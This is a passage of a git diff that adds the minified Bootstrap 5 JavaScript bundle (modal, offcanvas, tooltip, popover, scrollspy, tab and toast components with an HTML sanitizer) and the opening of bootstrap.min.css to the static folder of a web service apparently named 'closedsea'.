this._isShown?this.hide():this.show(t)}show(t){this._isShown||this._isTransitioning||P.trigger(this._element,Ti,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(Ci),this._adjustDialog(),this._backdrop.show((()=>this._showElement(t))))}hide(){this._isShown&&!this._isTransitioning&&(P.trigger(this._element,"hide.bs.modal").defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(Oi),this._queueCallback((()=>this._hideModal()),this._element,this._isAnimated())))}dispose(){for(const t of[window,this._dialog])P.off(t,".bs.modal");this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new _i({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new Ai({trapElement:this._element})}_showElement(t){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0;const e=K.findOne(".modal-body",this._dialog);e&&(e.scrollTop=0),d(this._element),this._element.classList.add(Oi),this._queueCallback((()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,P.trigger(this._element,"shown.bs.modal",{relatedTarget:t})}),this._dialog,this._isAnimated())}_addEventListeners(){P.on(this._element,"keydown.dismiss.bs.modal",(t=>{if("Escape"===t.key)return this._config.keyboard?(t.preventDefault(),void this.hide()):void this._triggerBackdropTransition()})),P.on(window,"resize.bs.modal",(()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()})),P.on(this._element,"click.dismiss.bs.modal",(t=>{t.target===t.currentTarget&&("static"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())}))}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide((()=>{document.body.classList.remove(Ci),this._resetAdjustments(),this._scrollBar.reset(),P.trigger(this._element,Ei)}))}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(P.trigger(this._element,"hidePrevented.bs.modal").defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._element.style.overflowY;"hidden"===e||this._element.classList.contains(xi)||(t||(this._element.style.overflowY="hidden"),this._element.classList.add(xi),this._queueCallback((()=>{this._element.classList.remove(xi),this._queueCallback((()=>{this._element.style.overflowY=e}),this._dialog)}),this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),i=e>0;if(i&&!t){const t=p()?"paddingLeft":"paddingRight";this._element.style[t]=`${e}px`}if(!i&&t){const t=p()?"paddingRight":"paddingLeft";this._element.style[t]=`${e}px`}}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const i=Di.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t](e)}}))}}P.on(document,"click.bs.modal.data-api",'[data-bs-toggle="modal"]',(function(t){const e=n(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),P.one(e,Ti,(t=>{t.defaultPrevented||P.one(e,Ei,(()=>{a(this)&&this.focus()}))}));const i=K.findOne(".modal.show");i&&Di.getInstance(i).hide(),Di.getOrCreateInstance(e).toggle(this)})),z(Di),g(Di);const Si="show",Ii="showing",Ni="hiding",Pi=".offcanvas.show",Mi="hidePrevented.bs.offcanvas",ji="hidden.bs.offcanvas",Hi={backdrop:!0,keyboard:!0,scroll:!1},$i={backdrop:"(boolean|string)",keyboard:"boolean",scroll:"boolean"};class Wi extends F{constructor(t,e){super(t,e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return Hi}static get DefaultType(){return $i}static get NAME(){return"offcanvas"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||P.trigger(this._element,"show.bs.offcanvas",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._backdrop.show(),this._config.scroll||(new ui).hide(),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add(Ii),this._queueCallback((()=>{this._config.scroll||this._focustrap.activate(),this._element.classList.add(Si),this._element.classList.remove(Ii),P.trigger(this._element,"shown.bs.offcanvas",{relatedTarget:t})}),this._element,!0))}hide(){this._isShown&&(P.trigger(this._element,"hide.bs.offcanvas").defaultPrevented||(this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add(Ni),this._backdrop.hide(),this._queueCallback((()=>{this._element.classList.remove(Si,Ni),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._config.scroll||(new ui).reset(),P.trigger(this._element,ji)}),this._element,!0)))}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const t=Boolean(this._config.backdrop);return new _i({className:"offcanvas-backdrop",isVisible:t,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:t?()=>{"static"!==this._config.backdrop?this.hide():P.trigger(this._element,Mi)}:null})}_initializeFocusTrap(){return new Ai({trapElement:this._element})}_addEventListeners(){P.on(this._element,"keydown.dismiss.bs.offcanvas",(t=>{"Escape"===t.key&&(this._config.keyboard?this.hide():P.trigger(this._element,Mi))}))}static jQueryInterface(t){return this.each((function(){const e=Wi.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}P.on(document,"click.bs.offcanvas.data-api",'[data-bs-toggle="offcanvas"]',(function(t){const e=n(this);if(["A","AREA"].includes(this.tagName)&&t.preventDefault(),l(this))return;P.one(e,ji,(()=>{a(this)&&this.focus()}));const i=K.findOne(Pi);i&&i!==e&&Wi.getInstance(i).hide(),Wi.getOrCreateInstance(e).toggle(this)})),P.on(window,"load.bs.offcanvas.data-api",(()=>{for(const t of K.find(Pi))Wi.getOrCreateInstance(t).show()})),P.on(window,"resize.bs.offcanvas",(()=>{for(const t of K.find("[aria-modal][class*=show][class*=offcanvas-]"))"fixed"!==getComputedStyle(t).position&&Wi.getOrCreateInstance(t).hide()})),z(Wi),g(Wi);const Bi=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Fi=/^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i,zi=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i,Ri=(t,e)=>{const i=t.nodeName.toLowerCase();return e.includes(i)?!Bi.has(i)||Boolean(Fi.test(t.nodeValue)||zi.test(t.nodeValue)):e.filter((t=>t instanceof RegExp)).some((t=>t.test(i)))},qi={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},Vi={extraClass:"",template:"
",content:{},html:!1,sanitize:!0,sanitizeFn:null,allowList:qi},Ki={extraClass:"(string|function)",template:"string",content:"object",html:"boolean",sanitize:"boolean",sanitizeFn:"(null|function)",allowList:"object"},Qi={selector:"(string|element)",entry:"(string|element|function|null)"};class Xi extends B{constructor(t){super(),this._config=this._getConfig(t)}static get Default(){return Vi}static get DefaultType(){return Ki}static get NAME(){return"TemplateFactory"}getContent(){return Object.values(this._config.content).map((t=>this._resolvePossibleFunction(t))).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(t){return this._checkContent(t),this._config.content={...this._config.content,...t},this}toHtml(){const t=document.createElement("div");t.innerHTML=this._maybeSanitize(this._config.template);for(const[e,i]of Object.entries(this._config.content))this._setContent(t,i,e);const e=t.children[0],i=this._resolvePossibleFunction(this._config.extraClass);return i&&e.classList.add(...i.split(" ")),e}_typeCheckConfig(t){super._typeCheckConfig(t),this._checkContent(t.content)}_checkContent(t){for(const[e,i]of Object.entries(t))super._typeCheckConfig({selector:e,entry:i},Qi)}_setContent(t,e,i){const n=K.findOne(i,t);n&&((e=this._resolvePossibleFunction(e))?o(e)?this._putElementInTemplate(r(e),n):this._config.html?n.innerHTML=this._maybeSanitize(e):n.textContent=e:n.remove())}_maybeSanitize(t){return this._config.sanitize?function(t,e,i){if(!t.length)return t;if(i&&"function"==typeof i)return i(t);const n=(new window.DOMParser).parseFromString(t,"text/html"),s=[].concat(...n.body.querySelectorAll("*"));for(const t of s){const i=t.nodeName.toLowerCase();if(!Object.keys(e).includes(i)){t.remove();continue}const n=[].concat(...t.attributes),s=[].concat(e["*"]||[],e[i]||[]);for(const e of n)Ri(e,s)||t.removeAttribute(e.nodeName)}return n.body.innerHTML}(t,this._config.allowList,this._config.sanitizeFn):t}_resolvePossibleFunction(t){return"function"==typeof t?t(this):t}_putElementInTemplate(t,e){if(this._config.html)return e.innerHTML="",void e.append(t);e.textContent=t.textContent}}const Yi=new Set(["sanitize","allowList","sanitizeFn"]),Ui="fade",Gi="show",Ji=".modal",Zi="hide.bs.modal",tn="hover",en="focus",nn={AUTO:"auto",TOP:"top",RIGHT:p()?"left":"right",BOTTOM:"bottom",LEFT:p()?"right":"left"},sn={animation:!0,template:'',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:[0,0],container:!1,fallbackPlacements:["top","right","bottom","left"],boundary:"clippingParents",customClass:"",sanitize:!0,sanitizeFn:null,allowList:qi,popperConfig:null},on={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(array|string|function)",container:"(string|element|boolean)",fallbackPlacements:"array",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",allowList:"object",popperConfig:"(null|object|function)"};class rn extends F{constructor(t,e){if(void 0===Re)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t,e),this._isEnabled=!0,this._timeout=0,this._isHovered=!1,this._activeTrigger={},this._popper=null,this._templateFactory=null,this.tip=null,this._setListeners()}static get Default(){return sn}static get DefaultType(){return on}static get NAME(){return"tooltip"}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(t){if(this._isEnabled){if(t){const e=this._initializeOnDelegatedTarget(t);return e._activeTrigger.click=!e._activeTrigger.click,void(e._isWithActiveTrigger()?e._enter():e._leave())}this._isShown()?this._leave():this._enter()}}dispose(){clearTimeout(this._timeout),P.off(this._element.closest(Ji),Zi,this._hideModalHandler),this.tip&&this.tip.remove(),this._disposePopper(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this._isWithContent()||!this._isEnabled)return;const t=P.trigger(this._element,this.constructor.eventName("show")),e=(c(this._element)||this._element.ownerDocument.documentElement).contains(this._element);if(t.defaultPrevented||!e)return;const i=this._getTipElement();this._element.setAttribute("aria-describedby",i.getAttribute("id"));const{container:n}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(n.append(i),P.trigger(this._element,this.constructor.eventName("inserted"))),this._popper?this._popper.update():this._createPopper(i),i.classList.add(Gi),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))P.on(t,"mouseover",h);this._queueCallback((()=>{const t=this._isHovered;this._isHovered=!1,P.trigger(this._element,this.constructor.eventName("shown")),t&&this._leave()}),this.tip,this._isAnimated())}hide(){if(!this._isShown())return;if(P.trigger(this._element,this.constructor.eventName("hide")).defaultPrevented)return;const t=this._getTipElement();if(t.classList.remove(Gi),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))P.off(t,"mouseover",h);this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,this._isHovered=!1,this._queueCallback((()=>{this._isWithActiveTrigger()||(this._isHovered||t.remove(),this._element.removeAttribute("aria-describedby"),P.trigger(this._element,this.constructor.eventName("hidden")),this._disposePopper())}),this.tip,this._isAnimated())}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._getContentForTemplate())),this.tip}_createTipElement(t){const e=this._getTemplateFactory(t).toHtml();if(!e)return null;e.classList.remove(Ui,Gi),e.classList.add(`bs-${this.constructor.NAME}-auto`);const i=(t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t})(this.constructor.NAME).toString();return e.setAttribute("id",i),this._isAnimated()&&e.classList.add(Ui),e}setContent(t){let e=!1;this.tip&&(e=this._isShown(),this.tip.remove(),this.tip=null),this._disposePopper(),this.tip=this._createTipElement(t),e&&this.show()}_getTemplateFactory(t){return this._templateFactory?this._templateFactory.changeContent(t):this._templateFactory=new Xi({...this._config,content:t,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{".tooltip-inner":this._getTitle()}}_getTitle(){return this._config.title}_initializeOnDelegatedTarget(t){return this.constructor.getOrCreateInstance(t.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(Ui)}_isShown(){return this.tip&&this.tip.classList.contains(Gi)}_createPopper(t){const e="function"==typeof this._config.placement?this._config.placement.call(this,t,this._element):this._config.placement,i=nn[e.toUpperCase()];this._popper=ze(this._element,t,this._getPopperConfig(i))}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map((t=>Number.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_resolvePossibleFunction(t){return"function"==typeof t?t.call(this._element):t}_getPopperConfig(t){const e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"preSetPlacement",enabled:!0,phase:"beforeMain",fn:t=>{this._getTipElement().setAttribute("data-popper-placement",t.state.placement)}}]};return{...e,..."function"==typeof this._config.popperConfig?this._config.popperConfig(e):this._config.popperConfig}}_setListeners(){const t=this._config.trigger.split(" ");for(const e of t)if("click"===e)P.on(this._element,this.constructor.eventName("click"),this._config.selector,(t=>this.toggle(t)));else if("manual"!==e){const t=e===tn?this.constructor.eventName("mouseenter"):this.constructor.eventName("focusin"),i=e===tn?this.constructor.eventName("mouseleave"):this.constructor.eventName("focusout");P.on(this._element,t,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusin"===t.type?en:tn]=!0,e._enter()})),P.on(this._element,i,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusout"===t.type?en:tn]=e._element.contains(t.relatedTarget),e._leave()}))}this._hideModalHandler=()=>{this._element&&this.hide()},P.on(this._element.closest(Ji),Zi,this._hideModalHandler),this._config.selector?this._config={...this._config,trigger:"manual",selector:""}:this._fixTitle()}_fixTitle(){const t=this._config.originalTitle;t&&(this._element.getAttribute("aria-label")||this._element.textContent||this._element.setAttribute("aria-label",t),this._element.removeAttribute("title"))}_enter(){this._isShown()||this._isHovered?this._isHovered=!0:(this._isHovered=!0,this._setTimeout((()=>{this._isHovered&&this.show()}),this._config.delay.show))}_leave(){this._isWithActiveTrigger()||(this._isHovered=!1,this._setTimeout((()=>{this._isHovered||this.hide()}),this._config.delay.hide))}_setTimeout(t,e){clearTimeout(this._timeout),this._timeout=setTimeout(t,e)}_isWithActiveTrigger(){return Object.values(this._activeTrigger).includes(!0)}_getConfig(t){const e=W.getDataAttributes(this._element);for(const t of Object.keys(e))Yi.has(t)&&delete e[t];return t={...e,..."object"==typeof t&&t?t:{}},t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t.container=!1===t.container?document.body:r(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),t.originalTitle=this._element.getAttribute("title")||"",t.title=this._resolvePossibleFunction(t.title)||t.originalTitle,"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),t}_getDelegateConfig(){const t={};for(const e in this._config)this.constructor.Default[e]!==this._config[e]&&(t[e]=this._config[e]);return t}_disposePopper(){this._popper&&(this._popper.destroy(),this._popper=null)}static jQueryInterface(t){return this.each((function(){const e=rn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}g(rn);const an={...rn.Default,placement:"right",offset:[0,8],trigger:"click",content:"",template:''},ln={...rn.DefaultType,content:"(null|string|element|function)"};class cn extends rn{static get Default(){return an}static get DefaultType(){return ln}static get NAME(){return"popover"}_isWithContent(){return this._getTitle()||this._getContent()}_getContentForTemplate(){return{".popover-header":this._getTitle(),".popover-body":this._getContent()}}_getContent(){return this._resolvePossibleFunction(this._config.content)}static jQueryInterface(t){return this.each((function(){const e=cn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}g(cn);const hn="click.bs.scrollspy",dn="active",un="[href]",fn={offset:null,rootMargin:"0px 0px -25%",smoothScroll:!1,target:null},pn={offset:"(number|null)",rootMargin:"string",smoothScroll:"boolean",target:"element"};class gn extends F{constructor(t,e){super(t,e),this._targetLinks=new Map,this._observableSections=new Map,this._rootElement="visible"===getComputedStyle(this._element).overflowY?null:this._element,this._activeTarget=null,this._observer=null,this._previousScrollData={visibleEntryTop:0,parentScrollTop:0},this.refresh()}static get Default(){return fn}static get DefaultType(){return pn}static get NAME(){return"scrollspy"}refresh(){this._initializeTargetsAndObservables(),this._maybeEnableSmoothScroll(),this._observer?this._observer.disconnect():this._observer=this._getNewObserver();for(const t of this._observableSections.values())this._observer.observe(t)}dispose(){this._observer.disconnect(),super.dispose()}_configAfterMerge(t){return t.target=r(t.target)||document.body,t}_maybeEnableSmoothScroll(){this._config.smoothScroll&&(P.off(this._config.target,hn),P.on(this._config.target,hn,un,(t=>{const e=this._observableSections.get(t.target.hash);if(e){t.preventDefault();const i=this._rootElement||window,n=e.offsetTop-this._element.offsetTop;if(i.scrollTo)return void i.scrollTo({top:n});i.scrollTop=n}})))}_getNewObserver(){const t={root:this._rootElement,threshold:[.1,.5,1],rootMargin:this._getRootMargin()};return new IntersectionObserver((t=>this._observerCallback(t)),t)}_observerCallback(t){const e=t=>this._targetLinks.get(`#${t.target.id}`),i=t=>{this._previousScrollData.visibleEntryTop=t.target.offsetTop,this._process(e(t))},n=(this._rootElement||document.documentElement).scrollTop,s=n>=this._previousScrollData.parentScrollTop;this._previousScrollData.parentScrollTop=n;for(const o of t){if(!o.isIntersecting){this._activeTarget=null,this._clearActiveClass(e(o));continue}const t=o.target.offsetTop>=this._previousScrollData.visibleEntryTop;if(s&&t){if(i(o),!n)return}else s||t||i(o)}}_getRootMargin(){return this._config.offset?`${this._config.offset}px 0px -30%`:this._config.rootMargin}_initializeTargetsAndObservables(){this._targetLinks=new Map,this._observableSections=new Map;const t=K.find(un,this._config.target);for(const e of t){if(!e.hash||l(e))continue;const t=K.findOne(e.hash,this._element);a(t)&&(this._targetLinks.set(e.hash,e),this._observableSections.set(e.hash,t))}}_process(t){this._activeTarget!==t&&(this._clearActiveClass(this._config.target),this._activeTarget=t,t.classList.add(dn),this._activateParents(t),P.trigger(this._element,"activate.bs.scrollspy",{relatedTarget:t}))}_activateParents(t){if(t.classList.contains("dropdown-item"))K.findOne(".dropdown-toggle",t.closest(".dropdown")).classList.add(dn);else for(const e of K.parents(t,".nav, .list-group"))for(const t of K.prev(e,".nav-link, .nav-item > .nav-link, .list-group-item"))t.classList.add(dn)}_clearActiveClass(t){t.classList.remove(dn);const e=K.find("[href].active",t);for(const t of e)t.classList.remove(dn)}static jQueryInterface(t){return this.each((function(){const e=gn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(window,"load.bs.scrollspy.data-api",(()=>{for(const t of K.find('[data-bs-spy="scroll"]'))gn.getOrCreateInstance(t)})),g(gn);const mn="ArrowLeft",_n="ArrowRight",bn="ArrowUp",vn="ArrowDown",yn="active",wn="fade",An="show",En='[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',Tn=`.nav-link:not(.dropdown-toggle), .list-group-item:not(.dropdown-toggle), [role="tab"]:not(.dropdown-toggle), ${En}`;class Cn extends F{constructor(t){super(t),this._parent=this._element.closest('.list-group, .nav, [role="tablist"]'),this._parent&&(this._setInitialAttributes(this._parent,this._getChildren()),P.on(this._element,"keydown.bs.tab",(t=>this._keydown(t))))}static get NAME(){return"tab"}show(){const t=this._element;if(this._elemIsActive(t))return;const e=this._getActiveElem(),i=e?P.trigger(e,"hide.bs.tab",{relatedTarget:t}):null;P.trigger(t,"show.bs.tab",{relatedTarget:e}).defaultPrevented||i&&i.defaultPrevented||(this._deactivate(e,t),this._activate(t,e))}_activate(t,e){if(!t)return;t.classList.add(yn),this._activate(n(t));const i=t.classList.contains(wn);this._queueCallback((()=>{i&&t.classList.add(An),"tab"===t.getAttribute("role")&&(t.focus(),t.removeAttribute("tabindex"),t.setAttribute("aria-selected",!0),this._toggleDropDown(t,!0),P.trigger(t,"shown.bs.tab",{relatedTarget:e}))}),t,i)}_deactivate(t,e){if(!t)return;t.classList.remove(yn),t.blur(),this._deactivate(n(t));const i=t.classList.contains(wn);this._queueCallback((()=>{i&&t.classList.remove(An),"tab"===t.getAttribute("role")&&(t.setAttribute("aria-selected",!1),t.setAttribute("tabindex","-1"),this._toggleDropDown(t,!1),P.trigger(t,"hidden.bs.tab",{relatedTarget:e}))}),t,i)}_keydown(t){if(![mn,_n,bn,vn].includes(t.key))return;t.stopPropagation(),t.preventDefault();const e=[_n,vn].includes(t.key),i=b(this._getChildren().filter((t=>!l(t))),t.target,e,!0);i&&Cn.getOrCreateInstance(i).show()}_getChildren(){return K.find(Tn,this._parent)}_getActiveElem(){return this._getChildren().find((t=>this._elemIsActive(t)))||null}_setInitialAttributes(t,e){this._setAttributeIfNotExists(t,"role","tablist");for(const t of e)this._setInitialAttributesOnChild(t)}_setInitialAttributesOnChild(t){t=this._getInnerElement(t);const e=this._elemIsActive(t),i=this._getOuterElement(t);t.setAttribute("aria-selected",e),i!==t&&this._setAttributeIfNotExists(i,"role","presentation"),e||t.setAttribute("tabindex","-1"),this._setAttributeIfNotExists(t,"role","tab"),this._setInitialAttributesOnTargetPanel(t)}_setInitialAttributesOnTargetPanel(t){const e=n(t);e&&(this._setAttributeIfNotExists(e,"role","tabpanel"),t.id&&this._setAttributeIfNotExists(e,"aria-labelledby",`#${t.id}`))}_toggleDropDown(t,e){const i=this._getOuterElement(t);if(!i.classList.contains("dropdown"))return;const n=(t,n)=>{const s=K.findOne(t,i);s&&s.classList.toggle(n,e)};n(".dropdown-toggle",yn),n(".dropdown-menu",An),n(".dropdown-item",yn),i.setAttribute("aria-expanded",e)}_setAttributeIfNotExists(t,e,i){t.hasAttribute(e)||t.setAttribute(e,i)}_elemIsActive(t){return t.classList.contains(yn)}_getInnerElement(t){return t.matches(Tn)?t:K.findOne(Tn,t)}_getOuterElement(t){return t.closest(".nav-item, .list-group-item")||t}static jQueryInterface(t){return this.each((function(){const e=Cn.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(document,"click.bs.tab",En,(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),l(this)||Cn.getOrCreateInstance(this).show()})),P.on(window,"load.bs.tab",(()=>{for(const t of K.find('.active[data-bs-toggle="tab"], .active[data-bs-toggle="pill"], .active[data-bs-toggle="list"]'))Cn.getOrCreateInstance(t)})),g(Cn);const On="hide",xn="show",kn="showing",Ln={animation:"boolean",autohide:"boolean",delay:"number"},Dn={animation:!0,autohide:!0,delay:5e3};class Sn extends F{constructor(t,e){super(t,e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get Default(){return Dn}static get DefaultType(){return Ln}static get NAME(){return"toast"}show(){P.trigger(this._element,"show.bs.toast").defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove(On),d(this._element),this._element.classList.add(xn,kn),this._queueCallback((()=>{this._element.classList.remove(kn),P.trigger(this._element,"shown.bs.toast"),this._maybeScheduleHide()}),this._element,this._config.animation))}hide(){this.isShown()&&(P.trigger(this._element,"hide.bs.toast").defaultPrevented||(this._element.classList.add(kn),this._queueCallback((()=>{this._element.classList.add(On),this._element.classList.remove(kn,xn),P.trigger(this._element,"hidden.bs.toast")}),this._element,this._config.animation)))}dispose(){this._clearTimeout(),this.isShown()&&this._element.classList.remove(xn),super.dispose()}isShown(){return this._element.classList.contains(xn)}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout((()=>{this.hide()}),this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const i=t.relatedTarget;this._element===i||this._element.contains(i)||this._maybeScheduleHide()}_setListeners(){P.on(this._element,"mouseover.bs.toast",(t=>this._onInteraction(t,!0))),P.on(this._element,"mouseout.bs.toast",(t=>this._onInteraction(t,!1))),P.on(this._element,"focusin.bs.toast",(t=>this._onInteraction(t,!0))),P.on(this._element,"focusout.bs.toast",(t=>this._onInteraction(t,!1)))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){const e=Sn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return z(Sn),g(Sn),{Alert:R,Button:V,Carousel:rt,Collapse:ft,Dropdown:ai,Modal:Di,Offcanvas:Wi,Popover:cn,ScrollSpy:gn,Tab:Cn,Toast:Sn,Tooltip:rn}})); +//# sourceMappingURL=bootstrap.bundle.min.js.map \ No newline at end of file diff --git a/services/service1/service/closedsea/src/static/bootstrap.min.css b/services/service1/service/closedsea/src/static/bootstrap.min.css new file mode 100644 index 0000000..6f93a18 --- /dev/null +++ b/services/service1/service/closedsea/src/static/bootstrap.min.css @@ -0,0 +1,7 @@ +@charset "UTF-8";/*! + * Bootstrap v5.2.0-beta1 (https://getbootstrap.com/) + * Copyright 2011-2022 The Bootstrap Authors + * Copyright 2011-2022 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-body-color-rgb:33,37,41;--bs-body-bg-rgb:255,255,255;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-bg:#fff;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-2xl:2rem;--bs-border-radius-pill:50rem;--bs-heading-color: ;--bs-link-color:#0d6efd;--bs-link-hover-color:#0a58ca;--bs-code-color:#d63384;--bs-highlight-bg:#fff3cd}*,::after,::before{box-sizing:border-box}@media 